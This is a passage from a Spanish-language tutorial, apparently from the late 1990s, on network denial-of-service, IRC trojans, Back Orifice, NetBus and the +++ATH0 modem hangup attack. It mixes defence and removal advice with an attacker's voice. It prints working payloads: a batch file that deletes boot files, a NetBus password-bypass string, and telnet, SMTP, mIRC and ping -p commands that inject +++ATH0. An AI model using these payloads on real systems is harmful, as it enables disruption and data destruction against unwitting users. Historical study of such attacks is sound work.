Desgraciadamente la víctima no puede hacer nada para evitarlo. La solución está en manos de los administradores de red, los cuales deben configurar adecuadamente sus routers para filtrar los paquetes ICMP de petición indeseados (broadcast) o bien configurar sus máquinas para que no respondan a dichos paquetes. Es decir, que lo que se parchea son las máquinas/redes que puedan actuar de intermediarias (inocentes) en el ataque y no la máquina víctima.
De igual forma también se podría evitar el ataque si el router/firewall de salida del atacante (p.ej. el ISP al que pertenece) estuviera convenientemente configurado para evitar spoofing. Esto se haría filtrando todos los paquetes de salida que tuvieran una dirección source (origen) que no perteneciera a la red interna (desde la cual salimos).
He aquí el programa que implementa
el ataque:
smurf.c
Para más información sobre "smurf" os remito
a:
http://www.quadrunner.com/~c-huegen/smurf.txt
También podeis echar un vistazo a listas de redes mal configuradas
y que pueden "colaborar" con nosotros para lanzar el ataque. Son lo que
podemos llamar "smurf amplifiers". Se hacen públicas para
poner en evidencia a los administradores de dichas redes y que éstos
no tengan más remedio que parchearlas. Toma nota:
http://netscan.org
http://www.powertech.no/smurf/
("Smurf Amplifier Registry")
A continuación teneis el programa original que da nombre al ataque. Este ataca al puerto 55 de la víctima. Existe una variante, llamada "boink", que barre un rango de puertos, pero el fundamento es el mismo y no creo que merezca la pena plasmar aquí el fuente.
Si quereis podeis echarle un vistazo al source:
syndrop.c
Consiste en mandar paquetes incorrectos de forma que el kernel víctima produzca los correspondientes mensajes de error, que normalmente son logeados en fichero. Se consigue pues llenar el disco duro o la consola de la víctima con mensajes de este tipo.
Aquí teneis el fuente para llevar a cabo el ataque:
overdrop.c
Ofrezco la versión 2 de Nestea que no es otra cosa
que la primera pero con un poco más de estética (colores
y demás):
nestea2.c
En el caso del IRC lo que se hace usualmente es mandárselo a la víctima vía DCC. Cuando ésta ejecuta el programa se ve infectada o le ocurre algo pernicioso }:-).
Para que se entienda el concepto: imaginad que yo creo un fichero llamado "sorpresa.bat" con lo siguiente:
@echo off
del c:\autoexec.bat
del c:\config.sys
echo Sorpresa...
Ahora se lo envío a alguien y éste lo ejecuta. Entonces se le borrarían los ficheros de arranque };-)
Esto que se ve tan simple se puede implementar de forma mucho más elaborada creando un .exe de forma que en principio no podemos saber lo que hace el programa internamente hasta que lo ejecutamos.
Solución: como normal general no acepteis ficheros ejecutables de extraños, o por lo menos, no los ejecuteis. Si os van a pasar algún programa extraño es aconsejable que os pasen el source para que se le pueda echar un vistazo al programa, asegurarnos de que no hace "cosas raras" y entonces compilarlo nosotros mismos. Esto último es lo más seguro.
Se trata del fichero de configuracion principal del cliente mIRC. Es muy potente porque permite scripting, o sea, crearte tus propios comandos a medida y automatizar tareas.
Algunos graciosos se dedican a pasar por DCC una versión "modificada" (troyana) que circula por ahí y que entre otras cosas añade ciertos comandos para que remotamente un intruso pueda hacerte cosas en tu ordenador. Sólo funcionará si se consigue que el archivo troyano reemplace al archivo mirc.ini original, lo cual tampoco es fácil ya que tendríamos que tener configurado nuestro mIRC para que la zona de download apunte al directorio "raiz" de mIRC (de forma que el fichero recibido por DCC vaya al directorio donde se encuentran los ejecutables y ficheros de configuración de mIRC) y además aceptar el DCC (o tener activada la opción de "auto-get", o sea, de aceptar automáticamente los DCC's, cosa que no aconsejo en absoluto).
Un ejemplo de script troyano puede ser éste:
script.ini
Solución: no uses el "auto-get" ni aceptes ficheros de extraños o que no sepas bien lo que hacen.
Este troyano se copia a sí mismo en diversos lugares del disco duro, crea su propio mirc.ini / script asociado, y se añade a un fichero de sistema, para que no pueda ser eliminado fácilmente. El script lo único que hace es mandar el fichero troyano ("dmsetup.exe") a todo el que entra en nuestro canal, aparte de provocarnos un /quit del servidor IRC al escuchar cierta palabra clave.
Los pasos que lleva a cabo el troyano dependen de la unidad en que tengamos instalado el mIRC:
A) Unidad C:
(es decir, si tienes c:\mirc\)
La primera vez que "dmsetup.exe" se ejecuta:
1. Se copia a sí mismo en:
c:\
c:\mirc
c:\windows
c:\program files
2. Crea c:\configg.sys.
3. Añade una linea con "dmsetup" en el fichero "autoexec.bat"
4. Copia "mirc.ini" a "backup0412.ini"
5. Crea "mirc.ini" y "mircrem.ini"
6. Da un error de tipo 0 (para que pienses que el download está
roto).
Las siguientes veces que se ejecuta "dmsetup.exe" hace los mismos pasos, excepto 2 y 3, debido a la existencia del fichero "configg.sys".
+ Para eliminar el troyano de un sistema infectado:
1. Hacer "unload" del fichero "mircrem.ini".
2. Abrir "c:\autoexec.bat" con el bloc de notas, y quitar la linea
"dmsetup". Grabar y salir.
3. Borrar:
c:\dmsetup.exe
c:\configg.sys
c:\mirc\dmsetup.exe
c:\mirc\mircrem.ini
c:\mirc\backup0412.ini
c:\windows\dmsetup.exe
c:\progra~1\dmsetup.exe
B) Otra unidad que no es C:
El troyano sigue los pasos 1 a 3 de arriba, y después devuelve un error de tipo 1. Aunque al no existir c:\mirc, el paso 1 varía un poco: el troyano se copia precisamente a esta localización (cambia de nombre). Como no modifica el fichero "mirc.ini", no sabremos en principio que estamos infectados (hasta que cambiemos nuestro mIRC de unidad).
- - -
Todo esto ha sido el funcionamiento de la versión original de este troyano. Sin embargo, se han sucedido nuevas versiones del mismo, cuyas actuaciones y modos de proceder varían. A continuación, veremos los síntomas que padecerá un usuario infectado con las diferentes versiones, para que podamos identificarlas.
* Original:
- distribuye "dmsetup.exe", de unos 57,556 bytes.
- algunas veces resulta en un username de una sola letra, como
"s".
- crea "dmsetup.exe" en varios sitios, como c:\, c:\mirc, c:\windows,
c:\program files.
- crea el fichero "c:\configg.sys".
- añade una linea de referencia a "dmsetup" al fichero "autoexec.bat".
- si tu mIRC está en C:, crea c:\mirc\mircrem.ini y c:\mirc\backup0412.ini
.
* 2ª variante:
- el nombre del fichero que se distribuye varía, siendo de unos
81,084 bytes.
- la barra de título de mIRC dice "your mirc is buggy".
- crea "filename.ini".
- crea la linea "filename -inauto" en el "autoexec.bat".
- crea c:\ni.cfg, bakupwrks.ini.
- crea dos carpetas en el directorio de download del mIRC: "_dm2yif"
y "suck_it".
* 4ª variante:
- el nombre del fichero que se distribuye varía, siendo de unos
81,084 bytes (llamémosle "loquesea.exe").
- la barra de título de mIRC dice "your mirc is buggy".
- crea "loquesea.ini", c:\mirc\loquesea.ini, c:\ni.cfg, c:\mirc\bakupwrks.ini
y c:\mirc\mircrem.ini (nota: "loquesea" puede ser cualquier cadena
de caracteres).
- crea la linea "loquesea -inauto" en c:\autoexec.bat.
- crea dos carpetas en el directorio de download del mIRC. El nombre
de las carpetas varía, pero si intentas borrarlas no te dejará
y te dirá que la carpeta está vacía.
- si el usuario intenta entrar en un canal de ayuda, automáticamente
saldrá del canal.
- "loquesea.exe" será instalado en: C:\, c:\mirc, C:\windows,
c:\windows\system, C:\games, C:\doom, c:\doom2, c:\quake, c:\quake2, y
c:\picsd. Si estos directorios no existen, en su lugar se creará
un fichero con ese nombre (quake, doom, doom2, étc).
* 5ª variante:
- muy parecida a la 4ª variante explicada más arriba, excepto
que puede ser distribuída como "loquesea.jpg.com", que desde Win95/98
se ve sólo como "loquesea.jpg". De esta forma, el usuario cree que
se trata de un dibujo.
- distribuye "loquesea.jpg.com", de unos 80 Kbytes.
- crea una copia de sí mismo llamada C:\Windoom.exe y C:\Windows\Freeporn.exe.
- crea un fichero llamado "taged.lmr", que contiene una sóla
línea: "Ni!" (mirar la linea n41 de pusysex.ini).
- copia dos lineas al final de "c:\autoexec.bat".
- crea los siguiente ficheros en el directorio del mirc.ini: remote.ini,
var.ini y Buttfuck.ini.
- si el usuario intenta entrar en un canal de ayuda (excepto #mirc),
éste será expulsado del servidor (/quit).
- crea sobre unos 200 directorios en C:\.
- crea aproximadamente 20,000 directorios en C:\program files (C:\progra~1),
dependiendo del espacio libre que tengas en el disco duro.
- crea un nuevo mirc.ini en C:\mirc y hace backup del viejo como bakupwrks.ini.
También conocida como "BO", por sus iniciales, es una herramienta escrita por el grupo "Cult of the Dead Cow" que permite la administración remota de una máquina con Windows 95 / 98. Respetando el tradicional esquema cliente / servidor, el programa servidor es instalado en la máquina a administrar y el cliente desde otra máquina puede enviar comandos al servidor de forma que se obtiene un control total sobre la primera máquina: podemos ejecutar comandos, listar ficheros, arrancar servicios de forma transparente, compartir directorios, subir y bajar ficheros, manipular el registro, matar o listar procesos, étc.
La página oficial del BO es:
http://www.cultdeadcow.com
El problema viene cuando un atacante se las ingenia para que una posible víctima instale el software servidor en su máquina, sin darse cuenta, al más puro estilo troyano. Esto es posible si por ejemplo el atacante le envía a la víctima el programa 'boserver.exe" renombrado a digamos "antinuke.exe", y ésta, inocentemente, lo ejecuta creyendo que se trata del último y fabuloso programa anti-nuke ;-). A partir de ese momento, el ordenador de la víctima se encuentra "infectado" con lo que técnicamente se denomina un "back-door" ("puerta trasera"), y el atacante o cualquiera que tenga el cliente de BO (y que sepa o adivine ciertos datos acerca de la configuración del servidor) podrá acceder al ordenador de la víctima. Se trata de un grave problema de seguridad.
Cuando ejecutamos el programa servidor, se instala el back-door,
siguiendo los siguientes pasos:
- se copia el programa servidor en el directorio de sistema de Windows
(normalmente "c:\windows\system") con el nombre especificado por
el usuario (/atacante).
- se crea una entrada de registro en "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices"
apuntando al nombre de fichero del servidor referido anteriormente y con
una descripción de "(Default)" o bien la que haya especificado
el usuario (/atacante).
- el servidor comenzará a escuchar el puerto 31337 UDP
o el especificado por el usuario (/atacante), atendiendo a las peticiones
del cliente (/atacante). El protocolo usado utiliza una débil encriptación,
fácil de romper.
* Cómo detectarlo: accedemos a la entrada del registro arriba nombrada, usando 'regedit.exe', y buscamos un servicio que no hayamos instalado nosotros. Si el fichero al que apunta es de una longitud aproximada de 124,928 bytes, entonces es posible que se trate de BO.
Otra forma es usar el comando "netstat":
C:\WINDOWS>netstat -an | find
"UDP"
UDP
0.0.0.0:31337 *:*
* Cómo eliminarlo: simplemente tenemos que borrar
tanto el programa servidor del directorio de sistema de Windows como la
entrada del registro que apunta hacia él (anteriormente mencionada).
Teneis instrucciones aquí:
http://www.nwi.net/~pchelp/bo/bo.html
* También existen diversos programas que detectan y/o eliminan
el BO, aunque hay que tener cuidado con ellos porque muchos no son
más que nuevos troyanos (ej.: "BOsniffer.zip" o "*.exe").
La manera más fácil y cómoda de detectar / eliminar
este back-door es usando un anti-virus actualizado, como
puede ser el "AntiViral Toolkit Pro" (AVP):
http://www.avp.ru/ (página
oficial)
http://www.ontinet.com/avp/avp.htm(versión
en castellano)
* Cómo determinar la configuración de un BO instalado: ver el fichero del servidor usando un editor de texto (como el "Bloc de notas"). Si la última linea del fichero es '8 8$8(8,8084888<8@8D8H8L8P8T8X8\8'8d8h8l8' entonces está usando la configuración por defecto. En caso contrario, la configuración estará en las últimas lineas del fichero, en este orden:
<nombre del fichero>
<descripción del servicio>
<número de puerto>
<password>
<información sobre
plug-in adicional>
* Plug-in's: se trata de código que añade funcionalidad extra al servidor. Se conocen como "BUTTplugs". Así por ejemplo existe un plug-in que hace que la víctima conecte secretamente a un servidor y canal (ej.: #bo_owned en EFNET) de IRC dado, anunciándose ante los demás usuarios del canal como infectados. De esta forma, el atacante puede conectar a dicho servidor y canal de IRC (que se supone previamente conocido), y encontrarse las IP's de numerosas víctimas.
Algunos plug-in's conocidos:
- Speakeasy: es el comentado del IRC.
- Silk Rope: enlaza el BO a casi cualquier programa existente.
- Saran Wrap: esconde el BO dentro de un programa instalador
estándar "InstallShield".
- Butt Trumpet: manda al atacante un email con la dirección
IP
de la máquina víctima, una vez que BO se ha instalado.
Aquí podeis encontrar los últimos plug-in's:
http://www.cultdeadcow.com/tools/bo_plugins.html
* Últimamente se han descubierto evidencias que nos inclina a pensar que también el programa cliente del BO puede ser un back-door en favor de los creadores del programa. Si monitorizamos el tráfico de red mientras corremos este programa (con un "netstat", sin ir más lejos) se puede observar que se abre una conexión hacia el puerto 80 (httpd) del site de los creadores del programa, lo que en principio parece no tener demasiado sentido en lo que respecta a las funciones del cliente.
Se trata de una herramienta similar al BO, en ciertos aspectos incluso más avanzada, ya que aparte de soportar todas las funciones del BO, presenta funcionalidades extra como pueden ser abrir/cerrar la unidad de CDROM, mandar cuadros de diálogo interactivos para poder hacer chat con el sistema comprometido o escuchar el micrófono de dicho sistema. Funciona en Windows 95 / 98 / NT.
Esta es la página oficial del programa:
http://members.spree.com/SIP/NetBus/
NetBus escucha los puertos 12345 y 12346
de TCP. No usa encriptación y los comandos tienen el siguiente
formato:
<Comando>;<Arg1>;<Arg2>;...;<Argn>
Por defecto, el servidor NetBus se llama "Patch.exe". Es posible ponerle password, el cual se guardaría sin cifrar en la entrada de registro "HKEY_CURRENT_USER\Patch\Settings\ServerPwd". El cliente se autentificaría mandando una cadena con el formato "Password;0;mi_password", aunque si en vez de un 0 ponemos un 1, conseguiremos autentificarnos con cualquier password. Esto es un back-door que contiene el propio programa.
* Cómo detectarlo:
C:\WINDOWS>netstat -an | find "12345"
TCP
0.0.0.0:12345 *:*
* Cómo eliminarlo: hay diferentes formas para hacerlo, dependiendo de la versión de que se trate.
Versión 1.5x:
http://members.spree.com/NetBus/remove_1.html
Versión 1.6:
http://members.spree.com/NetBus/remove_2.html
Para esta última versión, también es posible
eliminarlo remotamente haciendo telnet al puerto 12345 y mandando
lo siguiente (sin las comillas):
"Password;1;"<Enter>"RemoveServer;1"<Enter>
Esto último funciona incluso existiendo password, aunque no se borra el fichero .exe, lo que deberá hacerse manualmente.
* Al igual que ocurría con el BO, lo más cómodo para detectar / eliminar este back-door es usar un anti-virus actualizado, como puede ser el "AntiViral Toolkit Pro" (AVP).
* Ejemplo:
Atacante:
/nick com1
/msg victima Oye, ¿estás ahí?
Víctima:
/msg com1 Sí, dime.
(ahora si todo va bien se le habrá colgado el ratón, que es el dispositivo que suele estar en com1).
Atacante:
/nick com2
/msg victima ¿Me respondes o no?
Victima:
/msg com2 ¡Ya lo he hecho antes!
(ahora se habrá quedado sin conexión, puesto
que com2 suele ser normalmente el modem).
* La mejor forma de evitar este ataque es tener un cliente mínimamente actualizado. Otra posible manera es ignorar los mensajes del atacante, para no caer en tentación :-). Por ejemplo, poniendo en /ignore a com1!*@*, com2!*@*, étc.
Para comprender su funcionamiento hay que explicar antes algo sobre modems. Vamos a ello.
La mayoría de modems usan un juego de comandos conocido como "Hayes". A través de estos comandos se puede enviar cualquier orden interna al modem o incluso configurarlo. Un comando-ejemplo muy conocido es "ATDTxxxxxx", que le indica al modem que marque por tonos el número xxxxxx.
El comando que nos será de utilidad ahora será "ATH0". La respuesta del modem a este comando es que rompe la conexión actual, o sea, "cuelga el teléfono". Si logramos que la víctima mande ese comando a su propio modem, éste desconectará. Esa es la idea.
Para que el modem entienda que los datos que se le está mandando son comandos, éste debe estar en lo que se conoce como "modo de comandos". Sin embargo, nosotros vamos a intentar mandar el comando estando el modem ya conectado al ISP y funcionando, por lo que éste no está en principio aceptando comandos sino "datos". Tenemos que, de alguna forma, forzar a que el modem entre en el modo de comandos. Para ésto, basta con lanzar una secuencia de "códigos de escape". Esta secuencia o evento fuerza a que se conmute al modo de comandos, de forma que los datos que vengan a continuación el modem los entiende como comandos. El código de escape está definido en el registro S2 del modem y por defecto, es el 43 ("+"), de forma que la secuencia para entrar en modo de comandos es "+++". Detrás iría el comando a lanzar, que según lo visto, va a ser un "ATH0". Así y con todo, la cadena de caracteres completa que la víctima debe enviar a su modem queda como "+++ATH0", que es el nombre que usualmente se da al ataque.
Visto ésto, queda por saber cómo podemos aprovecharnos de esta característica. ¿Cómo podemos lograr que la víctima mande esa cadena a su propio modem?
Basándonos en que el protocolo PPP, que es el normalmente usado para conectar por modem a nuestro ISP, por defecto no comprime los paquetes IP que viajan sobre él, si la víctima manda un paquete IP de datos hacia el exterior que contenga la cadena "+++ATH0", lo que ocurrirá es que dicho paquete se encapsulará en una o varias tramas PPP, y dichas tramas se enviarán hacia el modem, para que éste las transmita por la linea telefónica, pasando la cadena "+++ATH0" de forma transparente a través del modem. Entonces el modem interpretará el "+++" como la secuencia de escape y ejecutará el comando "ATH0", que viene a continuación, que obliga al modem a desconectar.
Desde el punto de vista del atacante, para forzar a que la víctima mande la cadena "+++ATH0", hay muchas maneras posibles. Veamos unos ejemplos.
* Ejemplo 1:
[maquina@atacante]$ telnet 192.168.1.1
21
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
220 foo FTP server (Version wu-2.4.2-academ[BETA-15](1)
Fri Dec 12
20:41:
USER +++ATH0
^]
telnet> close
Connection closed.
[maquina@atacante]$ telnet 192.168.1.1
21
Trying 192.168.1.1...
telnet: Unable to connect to remote
host: Network is unreachable
[maquina@atacante]$
La explicación es simple. Hemos hecho un ftp via
telnet.
Cuando nos ha preguntado el usuario, le hemos dicho que era "+++ATH0".
Acto seguido el servidor ftp, o sea, la víctima, debió responder
con algo como "331 Password required for +++ATH0.". Vemos que la
víctima ha mandado sin querer la temida cadena para que el modem
cuelgue ;-).
* Ejemplo 2:
Conectamos al puerto 25 ("sendmail") de la víctima
y le mandamos:
HELO blah.com
VRFY +++ATH0
La víctima mandaría la maléfica cadena en
una respuesta como:
550 +++ATH0... User unknown
* Ejemplo 3:
Desde mIRC:
//raw NOTICE NickVictima : $+ $chr(1)
$+ PING +++ATH0 $+ $chr(1)
* Ejemplo 4:
[maquina@atacante]# ping -p 2b2b2b415448300d
-c 5 xxx.xxx.xxx.xxx
PATTERN: 0x2b2b2b415448300d
PING xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx):
56 data bytes
--- xxx.xxx.xxx.xxx ping statistics
---
5 packets transmitted, 0 packets
received, 100% packet loss
[maquina@atacante]#
La opción "-p" permite especificar un "pattern" que servirá para rellenar el paquete de ping ("ICMP ECHO_REQUEST"). La víctima responderá con un "ICMP ECHO_REPLY", conteniendo el mismo pattern. El pattern está codificado en hexadecimal y se traduce como "+++ATH0<CR>". No todos los programas de ping soportan esta opción.
* Ejemplo 5:
El mismo método anterior implementado en C:
gin.c
* Nota: en todos los casos, el atacante también envía la cadena "+++ATH0", por lo cual si éste es vulnerable, su modem caerá y el ataque se habrá vuelto contra el propio atacante.
* Modems vulnerables: no todos los modems son vulnerables a este ataque. Los modems "buenos", o sea, que soportan "Hayes" estrictamente (la patente) no son vulnerables. Esto es porque la norma especifica que después de recibir la secuencia de escape y antes de ningún comando, debe pasar un intervalo de tiempo "vacío" de 1 seg. Lógicamente, en nuestro ataque va todo (secuencia + comando) seguido, sin pausa, por lo que el ataque no sería efectivo. Un ejemplo de modem no vulnerable es el US Robotics.
Sin embargo, hay otros muchos modems que no siguen la patente; en particular, parece que todos aquellos que contienen el chipset Rockwell, que son bastante frecuentes hoy en día. Ejemplo: Diamond SupraExpress 56k.
* En todo caso, una forma de protegerse es deshabilitar la entrada manual al modo de comandos. Esto se hace cambiando el código de escape (que por defecto es un 43 ["+"]), y poniendo un valor de 255. La mayoría de los modems reconocen un valor por encima de 127 como deshabilitador manual del modo de comandos, pero otros necesitan un valor superior. Para estar más seguros, usamos 255. El comando completo sería:
ATS2=255
y se podría introducir en la cadena de inicialización del modem (configurable normalmente en propiedades del modem o en la utilidad de dial-up), de forma que se "ejecute" siempre antes de marcar hacia nuestro ISP.
* También es posible parchear remotamente un host dado usando la misma técnica del "ping -p" vista para atacar:
ping -c 1 -p 2b2b2b415453323d32353526574f310d host
(el pattern usado equivale a: "+++ATS2=255&WO1").
De forma análoga, podemos mandar otros comandos remotos, provocando, por ejemplo, que el modem de la víctima marque a donde nosotros queramos, étc. ¡Muy peligroso!
Para que el ataque sea fructífero, es necesario dejar el programa funcionando durante unos minutos. Además habrá que ajustar convenientemente el retraso de forma que los paquetes no sean desechados.
Como no, aquí tenéis a vuestra disposición
el exploit:
sesquipedalian.c
Puedes compilar el siguiente exploit con: g++ -